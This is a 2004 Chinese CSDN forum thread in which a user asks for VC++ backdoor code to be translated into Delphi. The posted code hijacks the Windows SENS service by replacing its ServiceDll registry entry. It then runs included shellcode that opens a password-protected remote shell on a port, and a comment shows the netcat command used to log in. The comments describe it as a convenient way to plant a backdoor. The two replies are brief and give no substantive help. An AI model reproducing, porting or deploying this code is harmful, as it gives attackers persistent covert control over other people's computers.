CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
不看会后悔的Windows XP之经验谈 简单快捷DIY实用家庭影院
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  Delphi >  Windows SDK/API

各位大虾请了,有谁能把这段VC的代码翻译成DELPHI,本人放分200感激不尽。。。。

楼主EvilRoad(邪路)2004-12-03 19:41:26 在 Delphi / Windows SDK/API 提问

请各位高手帮忙啊。。。。。。  
   
  #include   <stdio.h>  
  #include   <windows.h>  
  #include   "win32sc.h" //天行的头文件  
  #pragma   comment(lib,"ws2_32")  
  #define   DEFAULT_SERVICE   "SENS" //默认修改的服务,注意:被安装后原sens服务将失效!  
   
  void   __stdcall   ServiceMain(   int   argc,   wchar_t*   argv[]   );  
  int   TellSCM(   DWORD   dwState,   DWORD   dwExitCode,   DWORD   dwProgress   );  
  void   __stdcall   ServiceHandler(   DWORD   dwCommand   );  
  int   RealService();  
  int   InstallService();  
  int   Remove();  
   
  HANDLE   hDll   =   NULL;  
  SERVICE_STATUS_HANDLE   hSrv;  
  DWORD   dwCurrState;  
   
  BOOL   APIENTRY   DllMain(   HANDLE   hModule,    
                                                DWORD     ul_reason_for_call,    
                                                LPVOID   lpReserved  
    )  
  {  
  switch   (ul_reason_for_call)  
  {  
  case   DLL_PROCESS_ATTACH:  
  hDll   =   hModule;  
   
  break;  
          }  
   
          return   TRUE;  
  }  
   
  void   __stdcall   ServiceMain(   int   argc,   wchar_t*   argv[]   )  
  {  
   
  char   svcname[256],   file[MAX_PATH];  
  strncpy(svcname,   (char*)argv[0],   sizeof   svcname);    
  wcstombs(svcname,   argv[0],   sizeof   svcname);  
   
  hSrv   =   RegisterServiceCtrlHandler(   svcname,   (LPHANDLER_FUNCTION)ServiceHandler   );  
          if(   hSrv   ==   NULL   )  
  {  
  return;  
  }else   FreeConsole();  
   
          TellSCM(   SERVICE_START_PENDING,   0,   1   );  
          TellSCM(   SERVICE_RUNNING,   0,   0   );  
   
  int   bInteract   =   argc   >   2   ?   1   :   0;  
  if(argc   >   1)  
  strncpy(file,   (char*)argv[1],   sizeof   file),  
  wcstombs(file,   argv[1],   sizeof   file);  
   
   
          RealService();  
   
  do{  
  Sleep(10);  
  }while(dwCurrState   !=   SERVICE_STOP_PENDING   &&   dwCurrState   !=   SERVICE_STOPPED);  
   
          return;  
  }  
   
  int   TellSCM(   DWORD   dwState,   DWORD   dwExitCode,   DWORD   dwProgress   )  
  {  
          SERVICE_STATUS   srvStatus;  
          srvStatus.dwServiceType   =   SERVICE_WIN32_OWN_PROCESS;  
          srvStatus.dwCurrentState   =   dwCurrState   =   dwState;  
          srvStatus.dwControlsAccepted   =   SERVICE_ACCEPT_STOP   |   SERVICE_ACCEPT_PAUSE_CONTINUE   |   SERVICE_ACCEPT_SHUTDOWN;  
          srvStatus.dwWin32ExitCode   =   dwExitCode;  
          srvStatus.dwServiceSpecificExitCode   =   0;  
          srvStatus.dwCheckPoint   =   dwProgress;  
          srvStatus.dwWaitHint   =   3000;  
          return   SetServiceStatus(   hSrv,   &srvStatus   );  
  }  
   
  void   __stdcall   ServiceHandler(   DWORD   dwCommand   )  
  {  
          switch(   dwCommand   )  
          {  
          case   SERVICE_CONTROL_STOP:  
                  TellSCM(   SERVICE_STOP_PENDING,   0,   1   );  
  Sleep(10);  
                  TellSCM(   SERVICE_STOPPED,   0,   0   );  
                  break;  
          case   SERVICE_CONTROL_PAUSE:  
                  TellSCM(   SERVICE_PAUSE_PENDING,   0,   1   );  
                  TellSCM(   SERVICE_PAUSED,   0,   0   );  
                  break;  
          case   SERVICE_CONTROL_CONTINUE:  
                  TellSCM(   SERVICE_CONTINUE_PENDING,   0,   1   );  
                  TellSCM(   SERVICE_RUNNING,   0,   0   );  
                  break;  
          case   SERVICE_CONTROL_INTERROGATE:  
                  TellSCM(   dwCurrState,   0,   0   );  
                  break;  
          case   SERVICE_CONTROL_SHUTDOWN:  
                  TellSCM(   SERVICE_STOPPED,   0,   0   );  
  break;  
          }  
  }  
   
  int   RealService()  
  {  
  //以下是调用天行的头文件的shellcode  
  //我觉得这代码开后门很方便,减小了zxsvc.dll的体积,而且有密码验证,但是每次的命令都要敲两次回车  
  SH_WORKEXIT(0);  
  SH_WORKMODE(SH_WORKMODE_REUSE);  
  SH_WORKHOST(inet_addr("0"));  
  SH_WORKPORT(567); //500是后门端口,可自行更改  
  SH_PEEKHOST(inet_addr("0"));  
  SH_PEEKPORT(781021); //168是验证密码,必须是数字  
  SH_WORKOPTION(0);    
  ((void   (*)(void))   &ShellCode)();  
  return   0;  
  //   用nc.exe登陆!格式: nc   -p   5201314   127.0.0.1   500  
  }  
   
   
  int   InstallService()  
  {  
  int   rc   =   0;  
  HKEY   hkRoot   =   HKEY_LOCAL_MACHINE,   hkParam   =   0;  
  SC_HANDLE   hscm   =   NULL,   schService   =   NULL;  
   
  try  
  {  
  char   buff[500];  
  char   *svcname   =   DEFAULT_SERVICE;  
  char                           *lpHostName;  
  DWORD                         dwErrorCode;  
  lpHostName=NULL;  
  hkRoot   =   HKEY_LOCAL_MACHINE;  
  strncpy(buff,   "SYSTEM\\CurrentControlSet\\Services\\",   sizeof   buff);  
  strncat(buff,   svcname,   100);  
  rc   =   RegOpenKeyEx(hkRoot,   buff,   0,   KEY_ALL_ACCESS,   &hkRoot);  
  rc   =   RegCreateKey(hkRoot,   "Parameters",   &hkParam);  
  SetLastError(rc);  
  !GetModuleFileName(HMODULE(hDll),   buff,   sizeof   buff);  
  rc   =   2;  
  rc   =   RegSetValueEx(hkRoot,   "Start",   0,   REG_DWORD,   (unsigned   char*)&rc,   sizeof   rc);  
  rc   =   RegSetValueEx(hkParam,   "ServiceDll",   0,   REG_EXPAND_SZ,   (unsigned   char*)buff,   strlen(buff)+1);  
  SetLastError(rc);  
  rc   =   0;  
   
  }catch(char   *str)  
  {  
  if(str   &&   str[0])  
  {  
  rc   =   GetLastError();  
  }  
  }  
   
  RegCloseKey(hkRoot);  
  RegCloseKey(hkParam);  
  return   rc;  
   
  }  
   
   
  void   Install()  
  {  
  InstallService();  
  RealService();  
  }  
   
  int   Remove()  
  {  
  char   *svcname   =   DEFAULT_SERVICE;  
  int   rc   =   0;  
  char   buff[500];  
  HKEY   hkRoot   =   HKEY_LOCAL_MACHINE,   hkParam   =   0;  
  hkRoot   =   HKEY_LOCAL_MACHINE;  
  strncpy(buff,   "SYSTEM\\CurrentControlSet\\Services\\",   sizeof   buff);  
  strncat(buff,   svcname,   100);  
  rc   =   RegOpenKeyEx(hkRoot,   buff,   0,   KEY_ALL_ACCESS,   &hkRoot);  
  rc   =   RegCreateKey(hkRoot,   "Parameters",   &hkParam);  
  SetLastError(rc);  
  !GetModuleFileName(HMODULE(hDll),   buff,   sizeof   buff);  
  rc   =   RegSetValueEx(hkParam,   "ServiceDll",   0,   REG_EXPAND_SZ,   (unsigned   char*)"%SystemRoot%\\system32\\sens.dll",   100); //"%SystemRoot%\\system32\\sens.dll"是服务SENS的默认dll指向地址,随DEFAULT_SERVICE   name的改变自行更改  
  return   rc;  
  }  
   
   
   
   
  代码不是很长,把主要语句的翻译一下就可以了!!!!!谢谢! 问题点数:100、回复次数:2Top

1 楼zwb666(zwb)回复于 2004-12-04 17:12:58 得分 50

学习Top

2 楼rouqing(*冰雨&双子座奇缘*)回复于 2004-12-04 17:53:09 得分 50

int   Remove()操作注册表的应该看的懂吧  
  你再看看SERVICE_STATUS的结构(记录)Top

相关问题

  • 渴求网上购物系统代码,感激不尽,50分
  • 请问谁能提供一下MD5的算法的代码啊,要求非VC的C++版本(即Unix下的),感激不尽,100分哦^_^
  • 谁有比较好一点的聊天室源代码? 感激不尽......
  • 哪位大侠有ration rose的delphi插件提供,小弟感激不尽
  • 安装vc碰到一个问题,请各位来看看!感激不尽
  • 关于VFP6.0中登录界面代码问题,各位大哥救救小弟啊!!!!!!!!!!!感激不尽!!!!!!!!1
  • 求救!如何用VB做200卡电话拔号充值??(最好附上源代码,小弟感激不尽!)
  • 100分求连接oracle数据库的自写分页代码或算法,感激不尽!
  • 谁可以给出waveInOpen及其相关API函数的Delphi范例,感激不尽
  • VC中创建线程的语句编译不通过,那位高手予以指导,感激不尽

关键词

  • win32
  • service
  • tellscm
  • srvstatus
  • hkroot
  • svcname
  • dwcurrstate
  • hkparam
  • hsrv
  • buff

得分解答快速导航

  • 帖主:EvilRoad
  • zwb666
  • rouqing

相关链接

  • Delphi类图书
  • Delphi类源码下载
  • Delphi控件下载

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
Copyright © 2000-2008, CSDN.NET, All Rights Reserved
GongshangLogo